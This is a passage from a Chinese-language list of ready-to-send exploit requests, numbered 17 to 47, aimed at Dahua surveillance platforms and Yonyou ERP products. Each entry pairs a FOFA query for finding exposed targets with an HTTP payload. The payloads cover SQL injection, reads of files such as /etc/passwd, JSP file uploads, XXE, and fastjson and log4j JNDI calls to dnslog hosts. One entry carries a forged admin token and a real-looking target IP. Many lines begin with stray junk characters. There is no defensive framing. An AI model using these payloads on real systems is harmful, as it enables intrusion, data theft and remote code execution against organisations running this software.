2 @# j& V! m, t( IHost: x.x.x.x
9 A# R% a8 T5 T# x3 VUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
% V. J, _4 L/ E3 j- QConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
) C9 \+ |4 ~* Q7 U( ]% m1 f. A3 B
' a1 M; S. j/ o
17. 大华 DSS itcBulletin SQL 注入
2 M, s& }- W; r$ P6 E$ oFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
2 J# o) t" W! o/ v2 c: I: cHost: x.x.x.x
) ]' w# i! u/ d4 }' S& y8 hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
' T: P( d* T( ?: A& o; l) g2 jContent-Length: 345
Accept-Encoding: gzip

( A8 |& s2 e5 _<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
. B/ U6 b1 S6 l      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
0 F/ E# q6 }4 ]9 e4 C4 m  </s11:Body>
</s11:Envelope>
0 Y) h7 \8 c4 H) \
, ~- S$ ^6 @9 M( l
8 i5 k- ?7 `% g, J18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
9 h/ |" b0 J, }. wFOFA：app="dahua-DSS"
9 L2 ]  ?$ c% g$ `) hGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
1 N3 G8 |- l3 A8 wHost: your-ip
  F; ~2 G! l7 }: J$ s. C  D9 H; I7 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
- k+ b( s' o: u" V* Q+ KConnection: keep-alive

- l4 w8 Z* w+ L+ b

5 E+ X% |; {7 [' [1 m19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
& h( |: B$ j  \7 x7 g7 ]User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
7 y% A$ C2 k) ]$ m) S! EConnection: keep-alive

+ y4 N$ L  P3 j8 p: W+ F+ u  J
. P" ]/ }: t4 {+ C' P8 K20. 大华ICC智能物联综合管理平台任意文件读取
; g9 V' m. y  [5 S4 rFOFA：body="*客户端会小于800*"
0 F; ^+ H6 {0 P# BGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- b# ^+ S! r* s9 I1 Q' s; s+ EConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
: B) |4 J+ R9 T! S

21. 大华ICC智能物联综合管理平台random远程代码执行
9 M8 R( E. u  KFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
, c" ]" c8 n5 ?) U/ THost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' r; }9 i* R  `Content-Length: 161
Accept-Encoding: gzip
8 c- L; g7 K9 A4 U6 k% G, YConnection: close
) f1 r4 h& a* s1 n! NContent-Type: application/json;charset=utf-8

) w, ?8 T! t+ l4 F" H+ u{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
, U6 I3 u# ]' C. Z7 w7 S3 J: T, Y  }""
}

4 y0 o0 u7 d1 W# M
/ |/ z7 K- @/ p2 W- x22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
. L2 E5 f6 \# o6 v% FHost: your-ip
7 j& |  F( O7 C; ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 }; D& N2 I3 @( L6 ~7 _. ~Content-Type: application/json;charset=utf-8
9 Q0 G8 y4 Y' r& w
{
- z; [2 X* L2 N" f"loginName":"${jndi:ldap://dnslog}"
}
7 x7 t6 a2 M* i" ~( f


23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
8 ]/ a$ X  P; a7 O+ C! m: g" q/ OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
3 {* z3 d( Q! y! G. h8 C# AConnection: close

5 W( d8 z! ?8 m6 Q( Y- P, d, U' F{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
, i0 C' p* Z, l4 D        }""
$ {& @: |+ e! }, P5 Q6 L. W}
. P) Y+ a  \0 _4 e/ k
- z! U$ m7 L: C" ~! ^( h
24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
. }  U9 t" ]; ~* h% l% f( w' B2 CHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
! \5 k1 ^1 S8 n( i7 SAccept: */*
Accept-Encoding: gzip
3 i3 W2 x' K+ G) J- ^: P3 KContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
3 G+ a0 `9 t; u' c& W9 F: eContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
0 o: ]) Y$ I  g( h. hContent-Type: text/plain
; K* R; m  A9 _* Y9 K2 J
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
  }5 Y3 g8 E  s  I: a6 [! S-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
' ]" k4 i5 H7 X, y& j) v! [+ lContent-Disposition: form-data; name="fname"
( K9 o* M# a/ D, |5 C. j, e
& |' U- d6 I; l$ s- b9 j% Y\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
8 O& A2 F5 \9 E; P6 V6 T" \

1 V. T( z: C$ k6 X% B2 J& |8 O25. 用友NC registerServlet JNDI 远程代码执行
! g$ I7 z2 i1 x* GFOFA：app="用友-UFIDA-NC"
' p0 T  x/ Q2 K- v1 q; sPOST /portal/registerServlet HTTP/1.1
- ~# N6 F' I/ \' L3 P9 D- rHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
7 K1 c2 o% k$ O0 A4 Y5 A7 sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
- L6 v# x* c9 f  s; vAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
( ?4 t" ?* c+ s# c  X. N3 D& XContent-Type: application/x-www-form-urlencoded
0 H" B- U( A0 m6 y1 d3 c$ u/ N. A1 \
. P) [9 K/ X6 h6 E/ Rtype=1&dsname=ldap://dnslog



4 n! ^, U- q; L5 ^26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
( g* f2 p( B5 P- K: }4 ZGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 h7 g* T. g( L* o* ?& K, OContent-Type: application/x-www-form-urlencoded
# o5 w6 y6 }1 o% U* C: s0 E& FAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

" @. m; W% g6 ]
27. 用友 NC showcontent SQL注入
' Q  ~) f4 v7 D/ |+ Q5 wFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 n  Q; X0 i+ A2 j2 i1 wAccept-Encoding: identity
Connection: close
2 T/ y  G3 U7 C0 [$ V9 RContent-Type: text/xml; charset=utf-8
7 n( c, p' N1 V$ ?* ^
# e. \1 q- A0 M) t0 ?4 o$ J6 L
28. 用友NC grouptemplet 任意文件上传
6 A: j3 N2 x5 ^# x: ^7 @. uFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
4 o: {5 s5 i& L" l9 A7 G% k& l% ]/ FHost: x.x.x.x
- x5 k1 M$ _7 Z4 Q' t- Y7 r# X$ c6 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
9 j) G0 O8 B" v1 k0 u2 gAccept-Encoding: gzip
; f5 H+ b, v, A
7 E/ j% ~4 R/ O0 s2 \( r: R( v------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
( a5 r  J  Q2 n1 eContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
+ I; b2 q* a8 n9 s9 U2 u

  Q3 N7 C! J+ V) Y0 E/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
$ M; |1 M! R, P7 P5 s% C# fFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
, w1 P$ ~) V) j" K, ^! ZGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
* j! C" ^/ {4 m8 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
+ f$ q. S+ M0 |( U6 oConnection: keep-alive

; [" p6 h, k! u( |& |
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
( E& F" n+ u+ j3 ^; A$ hPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
; r9 S( Q+ K/ f3 a4 O! [Host: your-ip
  l) [; l4 V" h3 lContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
4 S" Q% P1 z5 l. lConnection: close
- [) i- s( A! {+ m+ P9 e8 i
------WebKitFormBoundaryH970hbttBhoCyj9V
% ?1 z' y1 c1 L0 T! n$ mContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
2 c6 u7 Q' `; |, NContent-Type: image/jpeg
8 p; P* B: m9 A* _  P------WebKitFormBoundaryH970hbttBhoCyj9V--
2 ?; x0 Y) {% q: I

6 J( O! f7 w2 C& K' U) c31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded


8 F$ ~# o* s, @# ]32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
  {- W9 K2 w2 S5 P9 xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) {7 g  i; ^1 {# ^5 \+ C; t3 |Accept-Encoding: gzip, deflate
" O4 u# D1 D/ K& V6 c/ E0 W: x0 RAccept: */*
0 c( M- n- f9 I* p& XConnection: keep-alive

2 y  j0 g" P1 ^" J0 i4 r
0 B- ~% h) E, A$ s3 |* D$ n% q7 J33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
6 d( E* }; b. I7 @; f* X: `GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
8 ~/ k3 P0 Q# I% SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& i% V# ~6 {9 l! f# b) V( uContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
8 J6 I& o3 `: D6 F* }" e$ r

34. 用友NC warningDetailInfo接口SQL注入
0 Y9 J; l- K/ U" Q. t" }FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
5 ^% I5 a  ~( x- u6 lHost: your-ip
$ q2 k" [1 [2 t$ s% g- pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
* T/ k: [4 S. P: b% [0 ^Accept-Encoding: gzip, deflate
2 b' R0 p8 N1 v$ dAccept: */*
+ ~5 U8 e7 i4 V& q8 Q4 y- b5 q8 r: HConnection: keep-alive
$ E1 U$ d, O; [& W5 s1 n

. Z  l$ v/ ^. e- \, S+ u& f. H% _35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
( M8 ~1 {' ?- H  E$ z1 RPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
% U4 x4 l2 }1 n1 Q% zAccept: */*
" k; b# r5 O. r- l  cConnection: close
$ E7 w. U8 _* `( N2 daccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
4 @/ [9 W+ ?9 B3 {0 C( W2 OContent-Length: 190
, d* O2 \. h, ?! }5 G2 `6 v( jContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

+ c+ B% |, b& S0 i1 T3 ?3 \) ^--fd28cb44e829ed1c197ec3bc71748df0
1 A$ @& T. n3 w, GContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

% i4 c+ v; l* T, i! q) r. f  N<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

( A) u$ U! g  h/ s
+ T# s9 ]8 |, Z& X* a+ `% b# a7 @& q36. 用友NC-Cloud soapFormat XXE
/ ?" ?+ X+ i; V! L3 y2 u0 PFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
% V; c" R, e. i* M3 lPOST /uapws/soapFormat.ajax HTTP/1.1
+ A1 e  ^2 f! t! j) \% G2 |& OHost: 192.168.40.130:8989
- F) _+ U6 C6 Q0 P/ `1 a6 b9 E& ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
: w: D8 P* G. b, nContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
  |/ X* k; B5 i1 I3 i  D* mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
, L- S: e, E. f+ ^Content-Type: application/x-www-form-urlencoded
. _; ?6 z# E, s+ x- I* ?Upgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
1 ?* D" {* q9 \; F2 h
$ t4 \3 \, m& ?3 S8 Z+ i
2 J5 l% g' C6 O) y6 E' @& n37. 用友NC-Cloud IUpdateService XXE
  W' V7 z* p: O. r3 Q$ xFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 o' Z/ s% B' Q3 v% k* tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 y8 \0 N) |# |) K2 hContent-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

" l/ M* d& K& d9 g<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
6 I( x1 R, p1 ~2 W<soapenv:Header/>
: B+ z4 x6 e0 Y+ E" ~<soapenv:Body>
! v, p) q' N" `/ ?; g- E) e: ?<iup:getResult>
<!--type: string-->
# g. e) m% _! [0 J; r/ p7 g" B<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
6 {" u. l. m. F5 n& U  l' f4 M) |% @<xxx/>]]></iup:string>
9 H3 o* @$ F% Y6 b6 ~+ ~</iup:getResult>
9 n9 C- H- c6 Q; I! O. }* G' P</soapenv:Body>
  M8 Y- C6 s1 W. p, W</soapenv:Envelope>
: |$ M- e: N  i. Z$ ~
7 k7 R) q- b6 P* h6 V8 s
+ K# F; m% F8 w1 Z' Y: F+ D2 C
7 [, x/ n" f  \+ |* _38. 用友U8 Cloud smartweb2.RPC.d XXE
! n3 I4 ?) n4 v' qFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
& y8 i" h3 B6 }' n/ Z$ ?$ MHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
4 P# Z/ U  M  _/ VContent-Length: 260
* _) Q' N8 J0 |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
& y* o9 T. _# Y( i. Q3 a8 qAccept-Encoding: gzip, deflate
/ j( i# {% ^! @; v; e1 G2 j/ YAccept-Language: zh-CN,zh;q=0.9
Connection: close
7 p/ o1 i' z4 n4 DContent-Type: application/x-www-form-urlencoded
+ N" p; n& Y% A" v" J
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

+ T/ T6 |! ~5 W& K* ^  t' J
" q& s+ d# w- }39. 用友U8 Cloud RegisterServlet SQL注入
+ W. U3 i6 n$ `9 Q; o2 wFOFA：title="u8c"
2 V# `* S; s( n( n4 }1 M) iPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
1 u! k6 G, R! i1 Q0 v  O. uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
4 F: ~; s3 [; L1 O& W& p- EConnection: close
Content-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
! ]7 R8 R/ r  W8 s; h1 z% EX-Forwarded-For: 127.0.0.1
1 S& m! e  K6 @7 Y" u& Z) v; N5 B& |Accept-Encoding: gzip
) ^. V, D* N! b; u+ r/ G9 b
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

- B; I7 f- e' |; J: ~& y% @5 M
/ i- ]9 d& v; ?# C" @( f$ a40. 用友U8-Cloud XChangeServlet XXE
! Q8 h" i- v8 R; Q: jFOFA：app="用友-U8-Cloud"
, ~4 s# y4 P1 j( k2 s: YPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
4 E0 t0 P7 U8 r& \User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
! P" p- W7 X8 QContent-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

3 v# L2 G$ h2 d
2 E- ]" `/ y% p1 `& z  c; |5 V, _41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
$ y& ~, [: h" l& j3 V6 eHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 g5 q% D1 g3 z6 fContent-Type: application/json
Accept-Encoding: gzip
- ?4 `+ ]6 O& aConnection: close

! b8 X- D! J# `0 I$ D, q# [6 W
$ S* u# n, t/ [3 [9 R! \+ E: S, [42. 用友GRP-U8 SmartUpload01 文件上传
$ A) r6 X2 @7 R/ y$ T: v( sFOFA：app="用友-GRP-U8"
/ D0 q! D3 {# X: f) {POST /u8qx/SmartUpload01.jsp HTTP/1.1
# i, W5 @  W2 `# F. P9 L6 Q- fHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
( y! p* W2 u* H0 zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
0 Y# J. t& x5 p- `9 S: B
  y7 Q  A# A) m: F& o8 F+ W& a; APAYLOAD

6 G$ Y5 Y1 N9 K1 I* P
1 W2 Y/ V2 D) T( K2 jhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
/ ~6 r$ n& s* K2 [) K: k0 U  KPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
- P- ^9 Q* B8 v% n3 e; BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# O! n* A/ L5 ^- k0 JSOAPAction:
Content-Type: text/xml;charset=UTF-8

* H- n( C3 l8 d: l; |* C% O0 m<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
2 C) _  J# P* A& a- @) @   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
) m# K) ~( k& {: H7 K( h2 j& J      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>
/ K$ P+ R8 T# b, c+ H" n; x7 H7 V
  s/ m( w6 `" y
; C3 H# x0 k. B2 Z44. 用友GRP-U8 bx_dj_check.jsp SQL注入
0 i  V- M! i& K: g2 D( EFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
" l& m5 S) e7 v' a% UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
( d. j- A% F+ k' K* }( \
" {% m0 I5 t5 K+ T
3 ]0 I  _  a9 n$ I45. 用友GRP-U8 ufgovbank XXE
/ G! m/ r$ U4 U1 `( f4 o& RFOFA：app="用友-GRP-U8"
1 A( I' H& X: g" i0 o: t5 w+ v, RPOST /ufgovbank HTTP/1.1
8 X7 j) a" }. T3 EHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
" Y  D0 ?6 q) F) rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 E: Y- [7 T: E- B* @6 O4 eContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
# P3 z- [) Z. y  b
reqData=<?xml version="1.0"?>
3 V; Q! a+ E4 C. r# w6 T<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
. i: P, _: i4 hGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- V- D7 n! l$ S+ I# v. t# {, [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1 Q: W8 q) \( Z) N! m7 l
* t5 q8 W9 |. j* q: p
. L. L, X. T; |47. 用友GRP A++Cloud 政府财务云 任意文件读取
7 a+ P- f! \1 f  y1 t2 [5 aFOFA：body="/pf/portal/login/css/fonts/style.css"
, G7 I- k# y6 CGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
7 T5 q" F+ }! N) h# {Host: x.x.x.x
